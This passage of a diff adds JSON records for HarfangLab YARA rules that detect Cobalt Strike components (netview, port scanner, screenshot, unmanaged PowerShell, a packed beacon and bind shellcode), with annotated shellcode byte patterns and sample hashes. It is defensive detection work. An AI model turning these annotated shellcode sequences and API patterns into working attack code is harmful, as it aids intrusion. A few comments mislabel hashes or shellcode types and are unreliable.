+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567323Z",
+  "creation_date": "2026-03-23T11:46:25.567326Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567335Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_netview.yar",
+  "content": "rule cobalt_strike_netview {\n    meta:\n        title = \"Cobalt Strike Netview\"\n        id = \"a1d0611d-b12b-48de-b2a1-d30426275028\"\n        description = \"Detects the Cobalt Strike Netview component.\\nCobalt Strike's Netview is a tool used to gather network information and enumerate systems, including domain controllers, users, and shares.\\nIt is recommended to isolate the machine and monitor for additional Cobalt Strike-related processes or network activities.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2021-08-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012;attack.t1027.005;attack.t1106;attack.t1016.001\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Clear marker of the DLL name.\n        $cobalt_marker_s1 = \"netview.x64.dll\" ascii\n        $cobalt_marker_s2 = \"netview.dll\" ascii\n\n        // This payload use this hardcoded named pipe for communication.\n        $cobalt_marker_s3 = \"\\\\\\\\.\\\\pipe\\\\netview\" ascii\n\n        // This payload use this named pipe prefix for communication on Cobalt Strike 4.2+.\n        $cobalt_marker_s4 = \"\\\\\\\\.\\\\pipe\\\\postex_\" ascii\n\n        // This payload use those APIs to create a communication channel.\n        $cobalt_api_import_s1 = \"CreateNamedPipeA\" ascii\n        $cobalt_api_import_s2 = \"ConnectNamedPipe\" ascii\n\n        // This payload use those APIs to gather informations about network configuration.\n        $cobalt_api_import_s3 = \"NetGetAnyDCName\" ascii\n        $cobalt_api_import_s4 = \"NetGroupEnum\" ascii\n        $cobalt_api_import_s5 = \"NetServerEnum\" ascii\n        $cobalt_api_import_s6 = \"NetUserEnum\" ascii\n        $cobalt_api_import_s7 = \"DsEnumerateDomainTrustsA\" ascii\n\n        // Netview logs\n        $cobalt_netview_marker_s1 = \"Current time at \\\\\\\\%s is %d/%d/%d %02d:%02d:%02d\\n\" ascii\n        $cobalt_netview_marker_s2 = \"Computers in domain '%s':\\n\\n\" ascii\n        $cobalt_netview_marker_s3 = \"DCs in domain '%s':\\n\\n\" ascii\n        $cobalt_netview_marker_s4 = \"Domain Controllers:\\n\\n\" ascii\n        $cobalt_netview_marker_s5 = \"Domain Controllers in domain '%s':\\n\\n\" ascii\n        $cobalt_netview_marker_s6 = \"List of domain trusts:\\n\\n\" ascii\n        $cobalt_netview_marker_s7 = \"List of domain trusts for domain '%s':\\n\\n\" ascii\n        $cobalt_netview_marker_s8 = \"Members of %s on \\\\\\\\%s:\\n\\n\" ascii\n        $cobalt_netview_marker_s9 = \"Groups for \\\\\\\\%s:\\n\\n\" ascii\n        $cobalt_netview_marker_s10 = \"Local groups for \\\\\\\\%s:\\n\\n\" ascii\n        $cobalt_netview_marker_s11 = \"Logged on users at \\\\\\\\%s:\\n\\n\" ascii\n        $cobalt_netview_marker_s12 = \"Sessions for \\\\\\\\%s:\\n\\n\" ascii\n        $cobalt_netview_marker_s13 = \"Shares at \\\\\\\\%s:\\n\\n\" ascii\n        $cobalt_netview_marker_s14 = \"Users for \\\\\\\\%s:\\n\\n\" ascii\n        $cobalt_netview_marker_s15 = \"Account information for %s on \\\\\\\\%s:\\n\\n\" ascii\n        $cobalt_netview_marker_s16 = \"List of hosts for domain '%s':\\n\\n\" ascii\n        $cobalt_netview_marker_s17 = \"Password changeable\" ascii\n\n    condition:\n        1 of ($cobalt_marker_*) and all of ($cobalt_api_import_*) and 14 of ($cobalt_netview_marker_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_netview"
+  ],
+  "rule_creation_date": "2021-08-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016.001",
+    "attack.t1027.005",
+    "attack.t1218",
+    "attack.t1106",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_packed_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567035Z",
+  "creation_date": "2026-03-23T11:46:25.567037Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567042Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_packed.yar",
+  "content": "rule packed_cobalt {\n    meta:\n        title = \"Packed Cobalt Strike\"\n        id = \"9e7d8787-fa77-4d85-9b7b-600e7ef05168\"\n        description = \"Detects the a packed Cobalt Strike beacon.\\nCobalt Strike is a commercial remote access tool used for targeted attacks and post-exploitation activities.\\nIt enables the emulation of advanced threat actor tactics across the entire ATT&CK framework.\\nIt is recommended to isolate the system and analyze the file for additional indicators of compromise.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2024-08-06\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1572;attack.t1071;attack.defense_evasion;attack.t1027.005;attack.t1106;attack.t1140\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 8c2f671be562a4aae3cbf3502cb5587411b130711dff76eddc8b3bc28c132315\n        // 119a3b3b615addc497d12ac51ad2ca719c879de924428170499c1afee1644e51\n\n        $s_stub = {\n            B8 08 00 00 00                      // mov     eax, 8\n            48 6B C0 00                         // imul    rax, 0\n            48 8D 0D [3] 00                     // lea     rcx, unk_180065AA8\n            48 8B 04 01                         // mov     rax, [rcx+rax]\n            48 89 [1-8]                         // mov     [rsp+98h+var_50], rax\n            48 8B 84 24 [4]                     // mov     rax, [rsp+98h+arg_0]\n            48 89 44 24 [1]                     // mov     [rsp+98h+lpAddress], rax\n            48 8B 84 24 [4]                     // mov     rax, [rsp+98h+arg_0]\n            48 89 44 24 [1]                     // mov     [rsp+98h+Buf1], rax\n            C6 44 24 [1] 48                     // mov     [rsp+98h+Buf2], 48h ; 'H'\n            C6 44 24 [1] B8                     // mov     [rsp+98h+var_37], 0B8h\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [1] 48                     // mov     [rsp+98h+var_28], 48h ; 'H'\n            C6 44 24 [1] B8                     // mov     [rsp+98h+var_27], 0B8h\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            C6 44 24 [2]\n            48 B8 [8]                           // mov     rax, 9699D6266568AB96h\n            48 89 44 [2]                        // mov     [rsp+98h+var_40], rax\n            48 8B 44 [2]                        // mov     rax, [rsp+98h+var_40]\n            48 89 [1-8]                         // mov     [rsp+98h+var_18], rax\n            C7 44 24 20 00 00 00 00             // mov     [rsp+98h+var_78], 0\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "packed_cobalt"
+  ],
+  "rule_creation_date": "2024-08-06",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1140",
+    "attack.t1106",
+    "attack.t1572",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_portscan_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567482Z",
+  "creation_date": "2026-03-23T11:46:25.567484Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567490Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_portscan.yar",
+  "content": "rule cobalt_strike_portscan {\n    meta:\n        title = \"Cobalt Strike Port Scanner\"\n        id = \"4a1a3b80-dbca-4b09-a30b-d0acc2615632\"\n        description = \"Detects Cobalt Strike's port scan module.\\nCobalt Strike is a remote access tool used for adversary simulation, performing various post-exploitation activities. Its port scanning functionality is used to identify open ports on target systems.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2021-08-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1027.005;attack.t1106;attack.t1016.001;attack.t1595.001\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Clear marker of the DLL name.\n        $cobalt_marker_s1 = \"portscan.x64.dll\" ascii\n        $cobalt_marker_s2 = \"portscan.dll\" ascii\n\n        // This payload use this hardcoded named pipe for communication.\n        $cobalt_marker_s3 = \"\\\\\\\\.\\\\pipe\\\\portscan\" ascii\n\n        // This payload use this named pipe prefix for communication on Cobalt Strike 4.2+.\n        $cobalt_marker_s4 = \"\\\\\\\\.\\\\pipe\\\\postex_\" ascii\n\n        // This payload use those APIs to create a communication channel.\n        $cobalt_api_import_s1 = \"CreateNamedPipeA\" ascii\n        $cobalt_api_import_s2 = \"ConnectNamedPipe\" ascii\n\n        // This payload use those APIs to perform a port scan.\n        $cobalt_api_import_s3 = \"IcmpSendEcho\" ascii\n        $cobalt_api_import_s4 = \"IcmpCreateFile\" ascii\n        $cobalt_api_import_s5 = \"IcmpCloseHandle\" ascii\n        $cobalt_api_import_s6 = \"SendARP\" ascii\n\n        // Port scanner logs\n        $cobalt_portscan_marker_s1 = \"(ICMP) Target '%s' is alive. [read %d bytes]\" ascii\n        $cobalt_portscan_marker_s2 = \"(ARP) Target '%s' is alive. \" ascii\n        $cobalt_portscan_marker_s3 = \"Scanner module is complete\\n\" ascii\n        $cobalt_portscan_marker_s4 = \"%s:%d (platform: %d version: %d.%d name: %S domain: %S)\\n\" ascii\n\n    condition:\n        1 of ($cobalt_marker_*) and all of ($cobalt_api_import_*) and all of ($cobalt_portscan_marker_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_portscan"
+  ],
+  "rule_creation_date": "2021-08-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1016.001",
+    "attack.t1595.001",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_powershell_unmanaged_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575959Z",
+  "creation_date": "2026-03-23T11:46:25.575961Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575967Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/cobalt-strike-3-3-now-with-less-powershell-exe\nhttps://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_powershell_unmanaged.yar",
+  "content": "rule cobalt_strike_powershell_unmanaged {\n    meta:\n        title = \"Cobalt Strike Unmanaged PowerShell DLL\"\n        id = \"5070d420-0be3-4cbd-a90b-62735edd1f4d\"\n        description = \"Detects Cobalt Strike's unmanaged PowerShell, a way to run PowerShell scripts without powershell.exe.\\nCobalt Strike is a commercial, full-featured, remote access tool used for simulating adversary activities and executing targeted attacks.\"\n        references = \"https://www.cobaltstrike.com/blog/cobalt-strike-3-3-now-with-less-powershell-exe\\nhttps://attack.mitre.org/software/S0154/\"\n        date = \"2020-12-04\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1059.001;attack.t1027.005;attack.t1106\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 191620ef138c96ac05aec5e9ab76fc2c484735e18a955c584c677291ebe0fb00\n        // ec8d8eca6fa26bf2a5b1b0b34d9d8d57e7ecad64bb35935d9d0438d6e0f2ca23\n\n        // see https://github.com/leechristensen/UnmanagedPowerShell/blob/master/UnmanagedPowerShell/UnmanagedPowerShell.cpp\n\n        $s1 = \"Could not find .NET 4.0 API CLRCreateInstance\" ascii\n        $s2 = \"CLRCreateInstance failed w/hr 0x%08lx\" ascii\n        $s3 = \"ICLRMetaHost::GetRuntime (v2.0.50727) failed w/hr 0x%08lx\" ascii\n        $s4 = \"ICLRMetaHost::GetRuntime (v4.0.30319) failed w/hr 0x%08lx\" ascii\n        $s5 = \"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\" ascii\n        $s6 = \".NET runtime [ver %d] cannot be loaded\" ascii\n        $s7 = \"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\" ascii\n        $s8 = \"CorBindToRuntime\" ascii\n        $s9 = \"Could not find API CorBindToRuntime\" ascii\n        $s10 = \"CorBindToRuntime failed w/hr 0x%08lx\" ascii\n        $s11 = \"Did not understand ver: %d\" ascii\n        $s12 = \"Failed to invoke IsAlive w/hr 0x%08lx\" ascii\n        $s13 = \"SafeArrayPutElement failed w/hr 0x%08lx\" ascii\n        $s14 = \"Failed to invoke InvokePS w/hr 0x%08lx\" ascii\n        $s15 = \"Failed to invoke GetOutput w/hr 0x%08lx\" ascii\n        $s16 = \"PowerShellRunner.PowerShellRunner\" ascii\n        $s17 = \"Failed to create the runtime host\" ascii\n        $s18 = \"CLR failed to start w/hr 0x%08lx\" ascii\n        $s19 = \"RuntimeClrHost::GetCurrentAppDomainId failed w/hr 0x%08lx\" ascii\n        $s20 = \"ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\" ascii\n        $s21 = \"Failed to get default AppDomain w/hr 0x%08lx\" ascii\n        $s22 = \"Failed to load the assembly w/hr 0x%08lx\" ascii\n        $s23 = \"Failed to get the Type interface w/hr 0x%08lx\" ascii\n\n    condition:\n        12 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_powershell_unmanaged"
+  ],
+  "rule_creation_date": "2020-12-04",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027.005",
+    "attack.t1059.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_screenshot_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567255Z",
+  "creation_date": "2026-03-23T11:46:25.567257Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567263Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_screenshot.yar",
+  "content": "rule cobalt_strike_screenshot {\n    meta:\n        title = \"Cobalt Strike Screenshot\"\n        id = \"f9fbdf56-86f9-40a4-a1b7-772d31af6c54\"\n        description = \"Detects Cobalt Strike's screenshot functionality.\\nCobalt Strike is a commercial, full-featured, remote access tool that bills itself as adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors.\\nThis rule specifically detects the screenshot functionality which is often used during post-exploitation activities to gather visual information from the compromised system.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2021-08-25\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1027.005;attack.t1106\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Clear marker of the DLL name.\n        $cobalt_marker_s1 = \"screenshot.x64.dll\" ascii\n        $cobalt_marker_s2 = \"screenshot.dll\" ascii\n\n        // This payload use this hardcoded named pipe for communication.\n        $cobalt_marker_s3 = \"\\\\\\\\.\\\\pipe\\\\screenshot\" ascii\n\n        // This payload use this named pipe prefix for communication on Cobalt Strike 4.2+.\n        $cobalt_marker_s4 = \"\\\\\\\\.\\\\pipe\\\\postex_\" ascii\n\n        // This payload use those APIs to create a communication channel.\n        $cobalt_api_import_s1 = \"CreateNamedPipeA\" ascii\n        $cobalt_api_import_s2 = \"ConnectNamedPipe\" ascii\n\n        // This payload use those APIs to take a screenshot of the user screen.\n        $cobalt_api_import_s3 = \"GetDesktopWindow\" ascii\n        $cobalt_api_import_s4 = \"CreateCompatibleBitmap\" ascii\n\n        // Those strings are marker of the libjpeg-turbo library used inside this payload. (https://github.com/libjpeg-turbo/libjpeg-turbo)\n        $libjpeg_turbo_marker_s1 = \"Adobe APP14 marker: version %d, flags 0x%04x 0x%04x, transform %d\" ascii\n        $libjpeg_turbo_marker_s2 = \"CCIR601 sampling not implemented yet\" ascii\n        $libjpeg_turbo_marker_s3 = \"Copyright (C) 2010, Thomas G. Lane, Guido Vollbeding\" ascii\n\n        $canary = \"607ea59da24785d1c3c84f21f7c27e69ca8d5cdd659da6d3f4585c0a759c9805cb9cfbeaa93f92fa5d3d4f5426e8135a3b15e0eaeb1598c12832e11dfae7ee70\"\n\n    condition:\n        // NOTE: We want to avoid match only on $cobalt_api_import_* and $libjpeg_turbo_marker_* as those could be legitimate on their own.\n        2 of ($cobalt_marker_*) and 2 of ($cobalt_api_import_*) and 1 of ($libjpeg_turbo_marker_*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_screenshot"
+  ],
+  "rule_creation_date": "2021-08-25",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_shellcode_bind_0641ab6d588a_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575744Z",
+  "creation_date": "2026-03-23T11:46:25.575746Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575752Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_shellcode_bind_0641ab6d588a.yar",
+  "content": "rule cobalt_strike_shellcode_bind_0641ab6d588a {\n    meta:\n        title = \"Cobalt Strike Shellcode bind (0641ab6d588a)\"\n        id = \"d14452e4-ed49-466a-b80d-0641ab6d588a\"\n        description = \"Detects the Cobalt Strike httpstager shellcode.\\nThis shellcode enables attackers to download and execute additional payloads over HTTP.\\nIt creates an HTTP connection to retrieve and execute a secondary payload.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2022-01-10\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1055.002\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode_load_librarya_ws2_32 = {\n            68 33 32 00 00 // push 0x3233     // \"32\\0\"\n            68 77 73 32 5F // push 0x5f327377 // \"ws2_\"\n            54             // push esp        // push \"ws2_32\\0\"\n            68 4C 77 26 07 // push 0x726774c  // \"LoadLibrary\"\n            FF D5          // call ebp        // LoadLibraryA(\"ws2_32\")\n\n            B8 90 01 00 00 // mov eax, 0x190  // EAX = sizeof(struct WSAData)\n            29 C4          // mov esp, eax    // allocate space\n            54             // push esp        // push a pointer to that space\n            50             // push eax        // wVersionRequested\n            68 29 80 6B 00 // push 0x6b8029   // \"WSAStartup\"\n            FF D5          // call ebp        // WSAStartup(0x0190, &WSAData);\n        }\n\n        $shellcode_ws2_32_socketa = {\n            50             // push eax        // 0\n            50             // push eax        // 0\n            50             // push eax        // 0\n            50             // push eax        // 0\n            40             // inc eax\n            50             // push eax        // SOCK_STREAM\n            40             // inc eax\n            50             // push eax        // AF_INET\n            68 EA 0F DF E0 // push 0xe0df0fea // \"WSASocketA\"\n            FF D5          // call ebp        // WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);\n        }\n\n        $shellcode_ws2_32_bind = {\n            68 ?? ?? ?? ?? // push XXXXXXXX  // ip: XX.XX.XX.XX\n            68 02 00 ?? ?? // push 0xXXXX0002 // family AF_INET and port XXXX\n            89 E6          // mov esi, esp    // save a pointer to sockaddr_in struct\n            6A 10          // push 0x10       // sizeof(struct sockaddr_in)\n            56             // push esi        // pointer to the sockaddr_in struct\n            57             // push edi        // socket\n            68 C2 DB 37 67 // push 0x6737dbc2 // \"bind\"\n            FF D5          // call ebp        // bind(s, &sockaddr_in, sizeof(struct sockaddr_in))\n        }\n\n        $shellcode_ws2_32_listen = {\n            53             // push ebx        // backlog\n            57             // push edi        // socket\n            68 B7 E9 38 FF // push 0xFF38E9B7 // \"listen\"\n            FF D5          // call ebp        // listen(s, backlog)\n        }\n\n        $shellcode_ws2_32_accept = {\n            53             // push ebx        // 0\n            57             // push edi        // socket\n            68 74 EC 3B E1 // push 0xe13bec74 // \"accept\"\n            FF D5          // call ebp        // accept(s, 0, 0)\n        }\n\n        $shellcode_ws2_32_close = {\n            57             // push edi        // socket\n            97             // xchg eax, edi   // edi = accepted_socket\n            68 75 6E 4D 61 // push 0xe13bec74 // \"closesocket\"\n            FF D5          // call ebp        // closesocket(s)\n        }\n\n    condition:\n        4 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_shellcode_bind_0641ab6d588a"
+  ],
+  "rule_creation_date": "2022-01-10",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_shellcode_bind_2160fb19ffbe_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
